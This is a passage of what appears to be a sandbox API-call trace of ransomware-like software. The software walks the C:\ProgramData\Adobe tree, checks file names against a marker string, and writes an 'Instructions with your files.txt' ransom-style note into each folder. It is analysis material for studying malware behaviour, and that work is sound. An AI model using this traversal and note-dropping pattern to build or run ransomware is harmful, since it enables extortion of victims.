[0118.636] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
[0118.636] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe") returned 24
[0118.636] GetProcessHeap () returned 0x810000
[0118.636] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0118.636] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\*") returned 26
[0118.636] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f280
[0118.651] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\.") returned 26
[0118.651] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0118.651] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\..") returned 27
[0118.651] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
[0118.651] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat") returned 32
[0118.651] GetProcessHeap () returned 0x810000
[0118.652] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0118.652] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\*") returned 34
[0118.652] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f2c0
[0118.652] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\.") returned 34
[0118.652] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0118.652] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\..") returned 35
[0118.652] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
[0118.652] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0") returned 37
[0118.652] GetProcessHeap () returned 0x810000
[0118.652] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x877be8
[0118.652] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\*") returned 39
[0118.652] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f300
[0118.652] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\.") returned 39
[0118.652] FindNextFileW (in: hFindFile=0x82f300, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0118.652] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\..") returned 40
[0118.652] FindNextFileW (in: hFindFile=0x82f300, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Replicate", cAlternateFileName="REPLIC~1")) returned 1
[0118.652] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate") returned 47
[0118.652] GetProcessHeap () returned 0x810000
[0118.652] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x888bf8
[0118.654] wnsprintfW (in: pszDest=0x888bf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\*") returned 49
[0118.654] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f340
[0118.661] wnsprintfW (in: pszDest=0x888bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\.") returned 49
[0118.661] FindNextFileW (in: hFindFile=0x82f340, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0118.661] wnsprintfW (in: pszDest=0x888bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\..") returned 50
[0118.661] FindNextFileW (in: hFindFile=0x82f340, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 1
[0118.661] wnsprintfW (in: pszDest=0x888bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security") returned 56
[0118.661] GetProcessHeap () returned 0x810000
[0118.661] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x899c08
[0118.662] wnsprintfW (in: pszDest=0x899c08, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*") returned 58
[0118.663] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x830968
[0118.663] wnsprintfW (in: pszDest=0x899c08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\.") returned 58
[0118.663] FindNextFileW (in: hFindFile=0x830968, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0118.663] wnsprintfW (in: pszDest=0x899c08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\..") returned 59
[0118.663] FindNextFileW (in: hFindFile=0x830968, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1df, dwReserved0=0x0, dwReserved1=0x0, cFileName="directories.acrodata", cAlternateFileName="DIRECT~1.ACR")) returned 1
[0118.663] wnsprintfW (in: pszDest=0x899c08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata") returned 77
[0118.663] StrStrIW (lpFirst="directories.acrodata", lpSrch="SDfghjkl") returned 0x0
[0118.663] FindNextFileW (in: hFindFile=0x830968, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1df, dwReserved0=0x0, dwReserved1=0x0, cFileName="directories.acrodata", cAlternateFileName="DIRECT~1.ACR")) returned 0
[0118.663] wnsprintfW (in: pszDest=0x899c08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\Instructions with your files.txt") returned 89
[0118.663] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\Instructions with your files.txt" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0\\replicate\\security\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0118.664] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0118.664] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0118.664] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0118.664] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0118.665] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0118.665] CloseHandle (hObject=0x118) returned 1
[0118.665] FindClose (in: hFindFile=0x830968 | out: hFindFile=0x830968) returned 1
[0118.665] GetProcessHeap () returned 0x810000
[0118.665] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x899c08 | out: hHeap=0x810000) returned 1
[0118.665] FindNextFileW (in: hFindFile=0x82f340, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 0
[0118.665] wnsprintfW (in: pszDest=0x888bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Instructions with your files.txt") returned 80
[0118.665] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Instructions with your files.txt" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0\\replicate\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0118.665] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0118.666] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0118.666] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0118.666] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0118.666] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0118.666] CloseHandle (hObject=0x114) returned 1
[0118.667] FindClose (in: hFindFile=0x82f340 | out: hFindFile=0x82f340) returned 1
[0118.667] GetProcessHeap () returned 0x810000
[0118.667] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x888bf8 | out: hHeap=0x810000) returned 1
[0118.667] FindNextFileW (in: hFindFile=0x82f300, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Replicate", cAlternateFileName="REPLIC~1")) returned 0
[0118.667] wnsprintfW (in: pszDest=0x877be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Instructions with your files.txt") returned 70
[0118.667] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Instructions with your files.txt" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0118.667] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0118.668] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0118.668] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0118.668] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0118.668] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0118.668] CloseHandle (hObject=0x110) returned 1
[0118.668] FindClose (in: hFindFile=0x82f300 | out: hFindFile=0x82f300) returned 1
[0118.668] GetProcessHeap () returned 0x810000
[0118.668] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x877be8 | out: hHeap=0x810000) returned 1
[0118.668] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0
[0118.668] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\Instructions with your files.txt") returned 65
[0118.668] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\Instructions with your files.txt" (normalized: "c:\\programdata\\adobe\\acrobat\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0118.669] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0118.669] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0118.670] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0118.670] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0118.670] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0118.670] CloseHandle (hObject=0x10c) returned 1
[0118.670] FindClose (in: hFindFile=0x82f2c0 | out: hFindFile=0x82f2c0) returned 1
[0118.670] GetProcessHeap () returned 0x810000
[0118.670] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0118.670] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1
[0118.670] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\ARM") returned 28
[0118.670] GetProcessHeap () returned 0x810000
[0118.670] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0118.670] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\*") returned 30
[0118.670] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876bf8
[0118.670] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\.") returned 30
